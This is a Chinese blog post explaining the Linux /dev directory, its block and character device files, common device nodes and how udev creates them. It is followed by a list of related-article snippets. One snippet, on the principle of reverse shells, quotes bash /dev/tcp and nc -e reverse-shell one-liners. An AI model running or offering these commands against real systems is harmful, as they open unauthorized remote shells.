`

Linux /dev目录详解

 
阅读更多

dev是设备(device)的英文缩写。/dev这个目录对所有的用户都十分重要。因为在这个目录中包含了所有Linux系统中使用的外部设备。但是这里并不是放的外部设备的驱动程序,这一点和windows,dos操作系统不一样。它实际上是一个访问这些外部设备的端口。我们可以非常方便地去访问这些外部设备,和访问一个文件,一个目录没有任何区别。

 

  Linux沿袭Unix的风格,将所有设备认成是一个文件。

 

  关于一些特殊设备,我曾经总结过一些:

 

  /dev/null和/dev/zero:http://www.51testing.com/index.php?uid-225738-action-viewspace-itemid-235339

 

  /dev/tty、/dev/console、/dev/pty、/dev/pts等:http://www.51testing.com/index.php?uid-225738-action-viewspace-itemid-212419

 

  设备文件分为两种:块设备文件(b)和字符设备文件(c)

 

  设备文件一般存放在/dev目录下,对常见设备文件作如下说明:

 

  /dev/hd[a-t]:IDE设备

 

  /dev/sd[a-z]:SCSI设备

 

  /dev/fd[0-7]:标准软驱

 

  /dev/md[0-31]:软raid设备

 

  /dev/loop[0-7]:本地回环设备

 

  /dev/ram[0-15]:内存

 

  /dev/null:无限数据接收设备,相当于黑洞

 

  /dev/zero:无限零资源

 

  /dev/tty[0-63]:虚拟终端

 

  /dev/ttyS[0-3]:串口

 

  /dev/lp[0-3]:并口

 

  /dev/console:控制台

 

  /dev/fb[0-31]:framebuffer

 

  /dev/cdrom => /dev/hdc

 

  /dev/modem => /dev/ttyS[0-9]

 

  /dev/pilot => /dev/ttyS[0-9]

 

  /dev/random:随机数设备

 

  /dev/urandom:随机数设备

 

  (PS:随机数设备,后面我会再写篇博客总结一下)

 

  /dev目录下的节点是怎么创建的?

 

  devf或者udev会自动帮你创建得。

 

  kobject是sysfs文件系统的基础,udev通过监测、检测sysfs来获取新创建的设备的。

分享到:
评论

相关推荐

    /dev/null和/dev/zero文件使用详解和误删修复方法以及服务器磁盘IO测试详解

    关于linux系统文件/dev/null和/dev/zero文件的详解和/dev/null、/dev/zero文件误删后的修复方法以及服务器磁盘IO测速详解,和一些常见/dev/null /dev/zero文件的用途用法示例说明

    详解Linux系统中的tempfs与/dev/shm

    tmpfs 是 Linux/Unix 系统上的一种基于内存的文件系统,即 tmpfs 使用内存或 swap 分区来存储文件。 Linux 内核中的 VM 子系统负责在后台管理虚拟内存资源 Virtual Memory,即 RAM 和 swap 资源,透明地将 RAM 页...

    Linux下的fdisk命令用法详解

    Linux下的fdisk功能是极其强大的,用它可以划分出最复杂的分区,下面简要介绍一下它的用法: 对于IDE硬盘,每块盘有一个设备名:对应于主板的四个IDE接口,设备名依次为:/dev/hda,/dev/hdb,/dev/hdc,/dev/hdd等, ...

    Linux 的dev目录详解和Linux系统各个目录的作用.docx

    ...

    Linux 的dev目录详解和Linux系统各个目录的作用.pdf

    总包合同范本.pdf

    linux_fdisk命令详解

    学习linux下fdisk命令

    linux目录作用详解(超详细,树状排版)

    通过源码包安装的软件,可以通过 ./configure --prefix=/opt/目录 。 <br> ├proc/ 是一个假的文件系统。它不存在在磁盘某个磁盘上。而是由核心在内存中产生。用于提供关于系统的信息(originally about processes...

    使用python3实现操作串口详解

    在Linux和Windows中,串口的名字规则不太一样。 需要事先查看。 Linux下的查看串口命令 root@D2:~# ls -l /dev/ttyS* crw-rw—- 1 root dialout 4, 64 Dec 26 06:53 /dev/ttyS0 crw-rw—- 1 root dialout 4, 65 ...

    linux反弹shell的原理详解

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是...

    Linux基础学习命令详解

    linux目录架构 / 根目录 /bin 常用的命令 binary file 的目录 /boot 存放系统启动时必须读取的档案,包括核心 (kernel) 在内 /boot/grub/menu.lst GRUB设置 /boot/vmlinuz 内核 /boot/initrd 核心解压缩所需 RAM ...

    linux设备文件系统——udev程序详解

    在Linux早期,设备文件仅仅是是一些带有适当的属性集的普通文件,它由mknod命令创建,文件存放在/dev目录下。后来,采用了devfs,一个基于内核的动态设备文件系统,他首次出现在2.3.46 内核中。Mandrake,Gentoo等...

    linux命令详解之挂载光驱的方法

    linux的硬件设备在/dev目录下,光驱也是其中,挂载光驱的方法如下,大家参考使用吧

    Linux搭建YUM仓库源详解

    Linux搭建YUM仓库源详解 说明:实验环境是由rchel7.5版本搭建。 一、基于ISO镜像构建YUM本地源 1、首先将光驱ISO镜像连接到虚拟机上,挂载到目录/mnt上。(挂载目录自己可定义) [root@localhost ~]# mount /dev/sr0...

    Linux目录结构详解

    Linux目录结构详解: /bin:是Binary的缩写,这个目录存放着系统必备执行命令。 /boot:这里存放的是启动Linux时使用的一些核心文件,包括一些连接文件以及镜像文件,自己的安装别放这里。 /dev:Device(设备)的缩写...

    Linux fdformat命令用法详解

    Linux fdformat命令 Linux fdformat命令用于对指定的软碟机装置进行低阶格式化。 使用这个指令对软碟格式化的时候,最好指定像是下面的装置: /dev/fd0d360 磁碟机 A: ,磁片为 360KB 磁碟 /dev/fd0h1440 磁碟机 A: ...

    Linux磁盘设备与LVM管理命令示例详解

    这些文件绝大多数位于 /dev 目录下,用来表示 Linux 主机检测到的某个具体的硬件设备。 比如 /dev/sda 文件通常用来指代系统中的第一块硬盘。 Linux 操作系统及其应用与服务则通过这些设备文件与对应的硬件设备...

    详解nohup /dev/null 2>&1 含义的使用

    主要介绍了详解nohup /dev/null 2>&1 含义的使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

    Linux e2fsck命令用法详解

    Linux e2fsck命令 ...device : 预备检查的硬盘 partition,例如:/dev/sda1 -a : 对 partition 做检查,若有问题便自动修复,等同 -p 的功能 -b : 设定存放 superblock 的位置 -B : 设定单位 block 的大小 -c

Global site tag (gtag.js) - Google Analytics